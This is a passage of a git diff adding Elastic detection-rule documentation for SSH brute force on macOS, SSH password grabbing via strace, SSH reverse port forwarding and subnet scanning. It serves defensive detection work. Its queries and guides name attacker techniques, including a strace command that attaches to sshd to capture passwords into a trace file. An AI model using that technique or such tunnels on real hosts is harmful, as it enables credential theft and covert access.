from `sshd-session` follows the failures in `logs-macos.authentication-*`, which +would indicate the attack succeeded. +- Determine whether the source IP addresses are internal or external and whether they are associated with known +infrastructure, scanners, or previous alerts. +- Determine whether Remote Login is expected to be enabled on this host (for example, build servers or developer +workstations). +- Correlate with other alerts or events from the same host during the same period. + + +*Related rules* + + +- Potential Successful SSH Brute Force Attack via macOS Security Events - f5898b1e-3071-4597-b066-43d298c7b415 + + +*False positive analysis* + + +- Automation or configuration management tooling with stale or rotated credentials can generate bursts of failures, +typically from a single known source IP address against a single service account. +- Security scanners or credential-validation health checks that test SSH authentication against known hosts. +- Internet-facing SSH services may receive high volumes of scanning or credential-stuffing traffic from unrelated +sources; consider network-level rate limiting or exclusions for known source addresses. +- Users repeatedly mistyping a password rarely reach the threshold within the window due to PAM's per-attempt delay, +but multiple parallel sessions from the same user can approach it. + + +*Response and remediation* + + +- Block or rate-limit the source IP addresses reported in `Esql.source_ip_values` at the network perimeter or on the +host. +- Verify no successful authentication followed the failures; if one did, treat the host as potentially compromised and +follow the response steps of the successful brute force rule. +- Reset credentials for the accounts reported in `Esql.user_name_values` if there is any indication they may be weak or +exposed. +- Review the host's SSH configuration: prefer key-based authentication, restrict access with `AllowUsers`/`AllowGroups`, +and disable Remote Login where it is not required. +- Escalate to the security operations team if additional hosts show similar patterns. + + +==== Setup + + + +*Setup* + + +This rule requires data from the macOS Security Events integration. +Integration setup instructions: https://www.elastic.co/docs/reference/security/prebuilt-rules/integration/macos/macos_security_events[macOS Security Events] +SSH authentication logging setup instructions: https://www.elastic.co/docs/reference/security/prebuilt-rules/integration/macos/macos_security_events_ssh_authentication[macOS Security Events: SSH Authentication] + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-macos.authentication-* +| WHERE data_stream.dataset == "macos.authentication" and ( + macos.event.message.description LIKE "Failed password for*" or + macos.event.message.description LIKE "Failed keyboard-interactive/pam for*" or + macos.event.message.description LIKE "error: PAM: authentication error for*" or + macos.event.message.description LIKE "Connection closed by invalid user*" + ) +| GROK macos.event.message.description "for (invalid user )?%{NOTSPACE:Esql.user_name_attempt} from %{IP:Esql.source_ip_attempt}" +| GROK macos.event.message.description "closed by invalid user %{NOTSPACE:Esql.user_name_probe} %{IP:Esql.source_ip_probe}" +| EVAL Esql.user_name = COALESCE(Esql.user_name_attempt, Esql.user_name_probe), + Esql.source_ip = COALESCE(Esql.source_ip_attempt, Esql.source_ip_probe) +| STATS + Esql.event_count = COUNT(*), + Esql.user_name_values = VALUES(Esql.user_name), + Esql.user_name_count = COUNT_DISTINCT(Esql.user_name), + Esql.source_ip_values = VALUES(Esql.source_ip), + Esql.source_ip_count = COUNT_DISTINCT(Esql.source_ip) + BY host.id, host.name +| WHERE Esql.event_count >= 20 +| KEEP host.id, host.name, Esql.event_count, Esql.user_name_values, Esql.user_name_count, Esql.source_ip_values, Esql.source_ip_count + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-ssh-password-grabbing-via-strace.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-ssh-password-grabbing-via-strace.asciidoc new file mode 100644 index 0000000000..6c701584d2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-ssh-password-grabbing-via-strace.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-34-potential-ssh-password-grabbing-via-strace]] +=== Potential SSH Password Grabbing via strace + +Detects potential SSH password grabbing via the use of strace on sshd processes. Attackers may use strace to capture sensitive information, such as passwords, by tracing system calls made by the sshd process. This rule looks for a sequence of events where an sshd process ends followed closely by the start of a strace process. This may be indicative of an attacker attempting to capture SSH credentials. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/braindead-sec/ssh-grabber +* https://dfir.ch/posts/strace/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential SSH Password Grabbing via strace* + + +This detection flags a suspicious sequence where an sshd process stops and a strace process starts seconds later, indicating attempted snooping of SSH authentication. Capturing syscall activity around login exposes passwords and session secrets, enabling credential theft and lateral movement. Attackers kill sshd, then relaunch or attach with strace, logging read/write and open calls from PAM or keyboard-interactive flows to a file such as /tmp/sshd.trace. + + +*Possible investigation steps* + + +- Pull the strace command-line, full path, parent chain, invoking user, and working directory to confirm whether it attached to sshd and whether output was directed to a file. +- Correlate systemd/journald and audit logs around the same seconds for sshd stop/start, kill signals, coredumps, or admin actions to distinguish debugging from credential capture. +- Identify and preserve any strace output or redirected logs (common in /tmp or home directories) and scan for PAM interactions or TTY reads containing password prompts. +- Check ptrace feasibility by verifying UID relationships, CAP_SYS_PTRACE, SELinux/AppArmor policies, and ptrace_scope to assess whether sshd could be traced. +- Pivot on the same user and host for adjacent activity such as restarting sshd, running ltrace/gdb/perf, modifying PAM or sshd_config, and creating trace files to gauge intent. + + +*False positive analysis* + + +- An administrator intentionally stops sshd and immediately launches strace to troubleshoot a configuration change or startup problem, tracing a controlled test run rather than attempting to capture credentials. +- A normal sshd session process ends while strace is started to debug an unrelated application, producing a near-simultaneous end/start sequence even though strace is not attached to sshd or capturing authentication input. + + +*Response and remediation* + + +- Immediately kill active strace processes targeting sshd (e.g., strace -p PID or strace -f /usr/sbin/sshd with -o /tmp/sshd.trace), isolate the host from the network, and restart the sshd service to restore a clean state. +- Preserve forensic copies, then remove artifacts such as trace outputs like /tmp/sshd.trace or ~/sshd.strace.log, purge unauthorized strace wrappers or cron entries, and revert changes in /etc/ssh/sshd_config and /etc/pam.d/*. +- Force credential hygiene by expiring passwords for users who logged in during the suspected window, rotating SSH host keys in /etc/ssh/ (ssh_host_*), revoking recently added ~/.ssh/authorized_keys entries, and terminating lingering sshd child sessions and SSH agents in /tmp or /run. +- Escalate to incident response if strace was executed as root or via sudo against /usr/sbin/sshd, if CAP_SYS_PTRACE or ptrace_scope=0 was present, if trace files contain password strings or PAM conversation data, or if similar behavior appears on more than one host. +- Harden by setting /proc/sys/kernel/yama/ptrace_scope to 1 or 2, enforcing SELinux/AppArmor policies that block ptrace to sshd, disabling PasswordAuthentication or requiring MFA in /etc/ssh/sshd_config, and adding auditd rules to alert on ptrace attaches to /usr/sbin/sshd. + + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=3s + [process where host.os.type == "linux" and event.type == "end" and process.name == "sshd"] + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name == "strace"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Input Capture +** ID: T1056 +** Reference URL: https://attack.mitre.org/techniques/T1056/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Compromise Host Software Binary +** ID: T1554 +** Reference URL: https://attack.mitre.org/techniques/T1554/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-ssh-reverse-port-forwarding.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-ssh-reverse-port-forwarding.asciidoc new file mode 100644 index 0000000000..1598463ec4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-ssh-reverse-port-forwarding.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-34-potential-ssh-reverse-port-forwarding]] +=== Potential SSH Reverse Port Forwarding + +Identifies the use of Windows OpenSSH or Plink to create a reverse SSH port forward or reverse dynamic SOCKS proxy. Adversaries may abuse reverse forwarding to expose an internal service or proxy listener through an external SSH server, establishing an outbound tunnel that bypasses direct inbound connectivity controls. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://thedfirreport.com/2025/11/04/from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira-2/ +* https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/ +* https://x.com/Securityinbits/status/2067602540209021196 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Data Source: Sysmon +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Threat: Protocol Tunneling +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential SSH Reverse Port Forwarding Detected* + + + +*Possible investigation steps* + + +- What reverse-forward command triggered the alert? + - Focus: `@timestamp`, `host.id`, `user.name`, `process.name`, `process.command_line` + - Implication: Confirm via !{investigate{"description":"Recover the process start event and immediate process context for the alerted OpenSSH or Plink reverse-forward command.","label":"Matched process context","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} a process start for `ssh.exe` or `plink.exe`/Plink with the matched `-R` or `RemoteForward` artifact. Suspicious when the command exposes an internal service or SOCKS listener without host/account owner confirmation; close only when command, host, account, parent, and remote-forward values match a recognized recurring tunnel workflow for this account. +- Is the process lineage and executable consistent with the expected workflow? + - Focus: `process.parent.command_line`, `process.executable`, `process.hash.sha256`, `process.working_directory`, `process.Ext.relative_file_creation_time` + - Implication: Via !{investigate{"description":"Recover the process start event and immediate process context for the alerted OpenSSH or Plink reverse-forward command.","label":"Matched process context","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}}, compare parent, path, hash, and file age. Escalate when shells, script interpreters, unusual parents, recently created binaries, or a Plink original name under another process name appear; benign requires the same artifact and parent tied to the verified host/account reverse-forward workflow. +- Is the tunnel active or recurring on this host? + - Focus: `host.id`, `process.entity_id`, `process.pid`, `process.uptime`, `process.exit_code` + - Implication: Use !{investigate{"description":"Find other process events with the same alerted process name on the same host for local recurrence and parent/account comparison.","label":"Same host process launches","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.name","queryType":"phrase","value":"{{process.name}}","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} to check whether the SSH/Plink process remained running, exited, or relaunched with reverse-forward arguments. Recurring or long-lived commands outside a confirmed window are suspicious; a single exited process supports closure only with owner confirmation and no unresolved process or network evidence. +- What remote SSH server and exposed service are implied? + - Focus: `process.args`, `process.command_line`, `destination.ip`, `destination.port`, `network.direction` + - Implication: Parse `-R`/`RemoteForward` syntax, then recover same-process connection events if network telemetry exists; `destination.*` and `network.*` are connection-event fields not present on the process alert. Missing network telemetry is unresolved, not benign. Escalate when the remote host, port, or exposed service does not match the confirmed workflow. +- Where else does the same binary or reverse-forward pattern appear? + - Focus: `process.hash.sha256`, `process.name`, `host.name`, `user.name`, `process.command_line` + - Implication: Use !{investigate{"description":"Find other events for the same executable hash to scope repeated use of the matched OpenSSH or Plink binary after local validation.","label":"Executable hash scope","providers":[[{"excluded":false,"field":"process.hash.sha256","queryType":"phrase","value":"{{process.hash.sha256}}","valueType":"string"}]],"relativeFrom":"now-7d","relativeTo":"now"}} to scope the same hash, comparing command lines for `-R`/`RemoteForward` on other hosts/accounts. Absence of matches is not benign; broaden containment when the artifact appears beyond the source host/account. Close recurrence only when each match ties to the same confirmed workflow. + +Disposition: Escalate suspicious or unresolved commands; close only when alert-local and recovered evidence confirm the exact host/account/process/remote-forward scope; preserve and escalate mixed cases. + + +*False positive analysis* + + +- Benign activity is limited to a confirmed reverse SSH forwarding workflow where `process.command_line`, `host.id`, `user.name`, parent process, executable, remote server, and forward port are verified. +- Do not close because the binary is named `ssh.exe`/`plink.exe`, has a familiar path, or a trusted signature — the matched command and owner workflow must explain the `-R`/`RemoteForward` artifact. +- Scope exceptions to `host.id`, `user.name`, `process.executable` or `process.hash.sha256`, `process.parent.executable` or `process.parent.command_line`, and the exact reverse-forward args. Do not suppress all reverse forwarding across hosts or accounts. + + +*Response and remediation* + + +- Scope first by reviewing the exact command, same-process network evidence, same executable hash, same user/host activity, and related alerts for the same remote SSH server or port before cleanup. +- Preserve or export case evidence plus volatile process, memory, executable, and file-system artifacts before isolation, process termination, or other disruptive action. +- After evidence capture, use reversible containment such as isolating the affected host or blocking egress to the confirmed SSH server/port while credential and session review proceeds. +- For confirmed malicious tunneling, terminate the SSH/Plink process, remove persistence or scripts that launched it, rotate exposed credentials, and clean staged binaries only after scoping. +- Record confirmed indicators and logging or detection gaps for the responsible detection or logging owners after containment. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + process.name : ("ssh.exe", "plink.exe") or + ?process.pe.original_file_name : ("Plink", "plink.exe") + ) and + ( + process.args like "-R*" or + process.args : "-oRemoteForward*" or + (process.args == "-o" and process.args : "*RemoteForward*") or + + /* -R can be combined with ~20 no-arg SSH flags (e.g. -NR, -fNR) */ + process.args regex """-[46AaCfGgKkMNnqsTtVvXxYy]+R.*""" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Sub-technique: +** Name: External Proxy +** ID: T1090.002 +** Reference URL: https://attack.mitre.org/techniques/T1090/002/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-subnet-scanning-activity-from-compromised-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-subnet-scanning-activity-from-compromised-host.asciidoc new file mode 100644 index 0000000000..add39285d4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-subnet-scanning-activity-from-compromised-host.asciidoc @@ -0,0 +1,201 @@ +[[prebuilt-rule-8-19-34-potential-subnet-scanning-activity-from-compromised-host]] +=== Potential Subnet Scanning Activity from Compromised Host + +This rule detects potential subnet scanning activity from a compromised host. Subnet scanning is a common reconnaissance technique used by attackers to identify live hosts within a network range. A compromised host may exhibit subnet scanning behavior when an attacker is attempting to map out the network topology, identify vulnerable hosts, or prepare for further exploitation. This rule identifies potential subnet scanning activity by monitoring network connection attempts from a single host to a large number of hosts within a short time frame. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: ES|QL +* Platform: Linux + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Subnet Scanning Activity from Compromised Host* + + +Subnet scanning is a reconnaissance method used by attackers to map network topology and identify active hosts. Adversaries exploit compromised hosts to perform these scans, seeking vulnerabilities for further attacks. The detection rule identifies such activity by monitoring Linux hosts for numerous connection attempts to different IPs within a short period, indicating potential scanning behavior. This helps in early detection and mitigation of network threats. + + +*Possible investigation steps* + + +- Review the process executable identified in the alert to determine if it is a known or legitimate application that should be making network connections. +- Examine the destination IP addresses to identify any patterns or known malicious IPs, and check if these IPs are part of the organization's network or external. +- Investigate the specific host (using the agent.id) to assess if there are any signs of compromise, such as unusual processes or unauthorized access. +- Correlate the event timestamp with other logs or alerts to identify any concurrent suspicious activities or anomalies on the host. +- Check for any recent changes or updates on the host that might explain the scanning behavior, such as new software installations or configuration changes. + + +*False positive analysis* + + +- High-volume legitimate network monitoring tools may trigger the rule. Identify and exclude these tools by adding their process executables to an exception list. +- Automated backup systems that connect to multiple hosts within a short timeframe can be mistaken for scanning activity. Review and exclude these systems by their process executable or agent ID. +- Security software performing routine network health checks might generate false positives. Verify these activities and create exceptions based on the specific process executable involved. +- Internal IT scripts or administrative tasks that involve connecting to numerous hosts for maintenance purposes can trigger alerts. Document these tasks and exclude them by process executable or agent ID. +- Cloud-based services or applications that require frequent connections to various hosts for functionality may appear as scanning. Identify these services and exclude them by their process executable or agent ID. + + +*Response and remediation* + + +- Isolate the compromised host immediately from the network to prevent further scanning and potential lateral movement by the attacker. +- Terminate any suspicious processes identified by the executable name in the alert to stop ongoing scanning activities. +- Conduct a thorough examination of the compromised host to identify and remove any malware or unauthorized access tools that may have been installed. +- Reset credentials and review access permissions for the compromised host to ensure no unauthorized access persists. +- Update and patch the compromised host and any other vulnerable systems identified during the investigation to close security gaps. +- Monitor network traffic closely for any signs of continued scanning or other suspicious activities from other hosts, indicating potential further compromise. +- Escalate the incident to the security operations center (SOC) or incident response team for a comprehensive investigation and to determine if additional hosts are affected. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.network-* metadata _id, _index, _version +| mv_expand event.action +| where + host.os.type == "linux" and + event.type == "start" and + event.action == "connection_attempted" and + not ( + process.executable in ("/usr/local/bin/prometheus", "/app/extra/chrome", "/usr/lib/virtualbox/VBoxHeadless", "/usr/bin/prometheus") or + process.executable like "/usr/local/prometheus/*/prometheus" or + process.executable like "/usr/share/elastic-agent/*" or + process.executable like "/var/lib/docker/overlay*connectord" or + process.executable like "/opt/rumble/bin/rumble-agent*" or + process.executable like "/opt/gitlab/*" or + process.executable like "/opt/google/chrome/chrome*" or + process.executable like "/snap/firefox/*/firefox" or + process.executable like "/var/lib/docker/overlay2/*/qbittorrent-nox" + ) +| keep + @timestamp, + _id, + _index, + _version, + host.os.type, + event.type, + event.action, + process.executable, + destination.ip, + agent.id, + host.name, + data_stream.dataset, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.destination_ip_count_distinct = count_distinct(destination.ip), + Esql.agent_id_count_distinct = count_distinct(agent.id), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + by process.executable + +| where + Esql.agent_id_count_distinct == 1 and + Esql.destination_ip_count_distinct > 250 +| sort Esql.event_count asc + +// Extract unique values to ECS fields for alerts exclusion +| eval agent.id = mv_min(Esql.agent_id_values), + host.name = mv_min(Esql.host_name_values) + +| keep agent.id, host.name, process.executable, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-successful-ssh-brute-force-attack-via-macos-security-events.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-successful-ssh-brute-force-attack-via-macos-security-events.asciidoc new file mode 100644 index 0000000000..caa46f2525 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-successful-ssh-brute-force-attack-via-macos-security-events.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-34-potential-successful-ssh-brute-force-attack-via-macos-security-events]] +=== Potential Successful SSH Brute Force Attack via macOS Security Events + +Identifies a burst of failed inbound SSH authentication attempts on a macOS host followed shortly by a successful SSH authentication on the same host, using sshd authentication messages collected by the macOS Security Events integration. A successful login immediately after repeated failures indicates that a password brute force or password spraying attack against an exposed SSH service has likely succeeded. + +*Rule type*: eql + +*Rule indices*: + +* logs-macos.authentication-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://themittenmac.com/detecting-ssh-activity-via-process-monitoring/ + +*Tags*: + +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Initial Access +* Data Source: macOS Security Events +* Resources: Investigation Guide +* Rule Type: Event Correlation (EQL) +* Platform: macOS +* Domain: Endpoint + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Successful SSH Brute Force Attack via macOS Security Events* + + +SSH (Secure Shell) is a protocol used to securely access remote systems. On macOS, the `sshd-session` process logs each +failed authentication attempt (`Failed password for`, `Failed keyboard-interactive/pam for`, +`PAM: authentication error for`) and each successful one (`Accepted for from port `) to the +unified log. This rule alerts when ten or more failure messages on a host are followed within 15 seconds by an +`Accepted` message on the same host, indicating that a brute force or password spraying attack has likely succeeded. +The sequence is correlated per host; the source IP address and username are present in the message text and must be +read from the sequence events. + + +*Possible investigation steps* + + +- Review the `Accepted` event in the sequence and read its `macos.event.message.description.` field to identify the compromised username, the +source IP address and port, and the authentication method used. +- Compare the source IP address and usernames in the failure messages with the `Accepted` message to confirm the +success came from the same source and to determine whether one account or many were targeted. +- Determine whether the source IP address is internal or external and whether it is associated with known +infrastructure, scanners, or previous alerts. +- Verify whether the compromised account has administrative privileges or is a member of the `admin` group. +- Review process activity on the host after the successful login for discovery, persistence, or credential access +behavior, using Elastic Defend data if available. +- Review other alerts and events associated with the affected host and account during the past 48 hours. +- Determine whether Remote Login is expected to be enabled on this host and whether the account is expected to log in +over SSH. + + +*Related rules* + + +- Potential SSH Brute Force Detected via macOS Security Events - 3751cc17-6e7e-4356-86d5-c8f44aab9a28 + + +*False positive analysis* + + +- Automation or configuration management tooling that retries with stale credentials before succeeding with a valid one +can produce a burst of failures followed by a success. Verify the source and exclude known automation if expected. +- Because correlation is per host, an unrelated successful login within 15 seconds of a failure burst from another source +will match. Compare source IP addresses in the failure and `Accepted` messages to rule this out. +- A user with an expired or recently rotated password who retries repeatedly before succeeding. The 15-second window and +PAM's per-attempt delay make this unlikely from a single interactive session. +- Security scanners or credential-validation health checks that test SSH authentication against known hosts. + + +*Response and remediation* + + +- Treat the alert as a potential compromise: a successful login after repeated failures means the attacker likely holds +valid credentials for the host. +- Terminate active SSH sessions for the compromised account and isolate the host from the network if unauthorized +access is confirmed. +- Reset the password of the compromised account and any other accounts sharing the same credential; review the account +for unexpected privilege changes, SSH authorized keys, or persistence mechanisms such as launch agents or login items. +- Review commands executed in the session and on the host for follow-on activity, including data access, lateral +movement, or additional accounts created. +- Block or rate-limit the source IP address at the network perimeter or on the host, and review why the SSH service was +reachable from that source. +- Review and harden the host's SSH configuration: prefer key-based authentication, restrict access with +`AllowUsers`/`AllowGroups`, and disable Remote Login where it is not required. +- Search for similar sequences across other macOS hosts to determine whether the activity is part of a broader campaign. +- Escalate to the incident response team and update logging and detection coverage based on the findings. + + +==== Setup + + + +*Setup* + + +This rule requires data from the macOS Security Events integration. +Integration setup instructions: https://www.elastic.co/docs/reference/security/prebuilt-rules/integration/macos/macos_security_events[macOS Security Events] +SSH authentication logging setup instructions: https://www.elastic.co/docs/reference/security/prebuilt-rules/integration/macos/macos_security_events_ssh_authentication[macOS Security Events: SSH Authentication] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=15s + [authentication where event.dataset == "macos.authentication" and host.os.type == "macos" and + macos.event.message.description : ("Failed password for*", + "Failed keyboard-interactive/pam for*", + "error: PAM: authentication error for*")] with runs=10 + [authentication where event.dataset == "macos.authentication" and host.os.type == "macos" and + macos.event.message.description : "Accepted *"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: 